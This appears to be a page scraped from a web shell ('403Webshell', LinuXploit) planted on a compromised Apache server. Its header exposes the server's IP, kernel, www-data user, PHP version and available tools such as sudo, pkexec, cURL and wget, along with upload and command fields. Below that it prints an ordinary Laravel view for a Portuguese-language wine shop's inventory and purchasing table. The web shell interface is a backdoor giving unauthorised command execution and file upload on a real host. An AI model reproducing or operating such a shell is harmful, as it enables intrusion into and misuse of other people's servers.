403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/storage/framework/views/86775e76cffec837db3722741f112fbf1f0b39ee.php
<?php foreach ($produtos as $produto): ?>
<tr data-id="<?php echo e($produto->id); ?>" id="produto-<?php echo e($produto->id); ?>">
    <td width="3%" class="text-center">
        <i class="fa-detail ver-detalhes-produto fa fa-plus-circle"></i>
    </td>
    <td width="3%" class="no-sort text-center">
       <input type="checkbox" name="item_produto[]" value="<?php echo e($produto->id); ?>"/>
       <input type="hidden" id="produto_preco_venda_<?php echo e($produto->id); ?>" name="produto_preco_venda_<?php echo e($produto->id); ?>" value="<?php echo e($produto->preco_de_venda); ?>"/>
       <input type="hidden" id="produto_preco_mercado_<?php echo e($produto->id); ?>" name="produto_preco_mercado_<?php echo e($produto->id); ?>" value="<?php echo e($produto->preco_mercado); ?>"/>
    </td>
    <td width="5%"><?php echo e($produto->sku); ?></td>
    <td width="5%"><a href="<?php echo e(url('/admin/produto/edit/' . $produto->slug)); ?>" target="_blank"><?php echo e($produto->nome); ?></a></td>
    <td width="5%" class="text-center" id="ultima_atualizacao_<?php echo e($produto->id); ?>"><?php echo e((!empty($produto->ultima_atualizacao_saldo) ? date('d/m/Y H:i', strtotime($produto->ultima_atualizacao_saldo)) : '')); ?></td>
    <td width="5%" class="text-center">
      <button type="button" class="btn btn-success" onclick="atualizarProduto(<?php echo e($produto->id); ?>)">Atualizar Saldos</button>
      <button type="button" class="btn btn-danger" onclick="removerProduto(<?php echo e($produto->id); ?>)"><i class="fa fa-trash"></i></button>
    </td>
    <td width="5%" class="text-center">
        <input type="checkbox" name="finalizar_compra_<?php echo e($produto->id); ?>" id="finalizar_compra_<?php echo e($produto->id); ?>" value="S" />
    </td>
    <td width="5%"><input type="number" value="<?php echo e($produto->qtde_sugerida); ?>" class="form-control" name="produto_quantidade_<?php echo e($produto->id); ?>" id="produto_quantidade_<?php echo e($produto->id); ?>" onchange="calcularProduto(<?php echo e($produto->id); ?>)"></td>
    <td width="5%" class="text-center"><input type="number" value="<?php echo e(number_format($produto->preco_custo, 2, '.', '')); ?>" class="form-control" name="produto_preco_custo_<?php echo e($produto->id); ?>" id="produto_preco_custo_<?php echo e($produto->id); ?>" onchange="calcularProduto(<?php echo e($produto->id); ?>)"></td>
    <td width="5%" class="text-center" id="produto_percentual_desconto_<?php echo e($produto->id); ?>"><?php echo e(number_format($produto->percentual_desconto, 0, ',', '.')); ?>%</td>
    <td width="5%" class="text-center" id="produto_percentual_markup_<?php echo e($produto->id); ?>"><?php echo e(number_format($produto->percentual_markup, 0, ',', '.')); ?>%</td>
    <td width="5%" class="text-right" id="produto_total_<?php echo e($produto->id); ?>"><?php echo e(number_format(($produto->preco_custo * $produto->qtde_sugerida), 2, ',', '.')); ?></td>
</tr>
<tr id="detalhes-produto-<?php echo e($produto->id); ?>" style="background-color: #F2F2F2; display: none">
    <td colspan="2"></td>
    <td colspan="10" style="padding: 5px;">
        <div class="row">
            <div class="col-md-5">
                <table class="table table-bordered" style="margin-bottom: 0px;">
                <thead>
                    <tr>
                        <th>Ofertas</th>
                        <th>Data</th>
                        <th>Origem</th>
                        <th class="text-center">Qtde. Vendida</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($produto->ofertas as $oferta) { ?>
                    <tr>
                        <td><?php echo e($oferta->id_oferta); ?></td>
                        <td><?php echo e(isset($oferta->oferta) && !empty($oferta->oferta->data) ? date('d/m/Y', strtotime($oferta->oferta->data)) : ''); ?></td>
                        <td>
                            <?php
                            if(isset($oferta->oferta)):
                                if($oferta->oferta->tipo == 'D'){
                                    echo 'Oferta Diária';
                                }elseif($oferta->oferta->tipo == 'S'){
                                    echo 'Oferta Semanal';
                                }elseif($oferta->oferta->tipo == 'E'){
                                    echo 'Oferta Exclusiva';
                                }elseif($oferta->oferta->tipo == 'M'){
                                    echo 'Oferta Mercado';
                                }elseif($oferta->oferta->tipo == 'C'){
                                    echo 'Oferta Canal <br>';
                                    if(isset($oferta->oferta->canal)){
                                        echo '<span>' . $oferta->oferta->canal->slug . '</span>';
                                    }
                                }
                            endif;
                            ?>
                        </td>
                        <td class="text-center"><?php echo e(number_format($oferta->quantidade, 0, ',', '.')); ?></td>
                    </tr>    
                    <?php } ?>
                </tbody>
                </table>
            </div>
            <div class="col-md-7">
                <table class="table table-bordered" style="margin-bottom: 0px;">
                <thead>
                    <tr>
                        <th class="text-center">Estoque</th>
                        <th class="text-center">Adega</th>
                        <th class="text-center">Em proc.</th>
                        <th class="text-center">Disp.</th>
                        <th class="text-center">Ped. Extras</th>
                        <th class="text-center">Reposição</th>
                        <th class="text-center">O.C. Pen/Apr/Enc</th>
                        <th class="text-center">O.C. Parc. Atend.</th>
                        <th class="text-center">Saldo</th>
                        <th class="text-center">Reserva</th>
                        <th class="text-center">Total</th>
                    </tr>
                </thead>
                <tbody>
                    <tr>
                        <td class="text-center"><?php echo e($produto->estoque['estoque']); ?></td>
                        <td class="text-center"><?php echo e($produto->estoque['adega']); ?></td>
                        <td class="text-center"><?php echo e($produto->estoque['em_processamento']); ?></td>
                        <td class="text-center"><?php echo e($produto->disponibilidade); ?></td>
                        <td class="text-center"><?php echo e($produto->pedidos_extras); ?></td>
                        <td class="text-center"><?php echo e($produto->requisicoes); ?></td>
                        <td class="text-center"><?php echo e($produto->ultimas_compras); ?></td>
                        <td class="text-center"><?php echo e($produto->ultimas_compras_parcial); ?></td>
                        <td class="text-center"><?php echo e($produto->saldo); ?></td>
                        <td class="text-center"><?php echo e($produto->reserva); ?></td>
                        <td class="text-center"><?php echo e($produto->saldo_final); ?></td>
                    </tr>
                </tbody>
                </table>
            </div>
        </div>
    </td>
</tr>
<?php endforeach; ?>

<script type="text/javascript">
    $(document).ready(function(){

        $(document).on('click', '.ver-detalhes-produto', function(){

            var icon        = $(this);
            var tr          = icon.closest('tr');
            var id_produto  = tr.data('id');

            $(this).removeClass('ver-detalhes-produto');
            $(this).addClass('esconder-detalhes-produto');
            $(this).addClass('fa-minus-circle');
            $(this).removeClass('fa-plus-circle');

            $('#detalhes-produto-' + id_produto).show();

        });

        $(document).on('click', '.esconder-detalhes-produto', function(){

            var icon        = $(this);
            var tr          = icon.closest('tr');
            var id_produto    = tr.data('id');

            $(this).removeClass('esconder-detalhes-produto');
            $(this).addClass('ver-detalhes-produto');
            $(this).addClass('fa-plus-circle');
            $(this).removeClass('fa-minus-circle');

            $('#detalhes-produto-' + id_produto).hide();

        });

    });
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit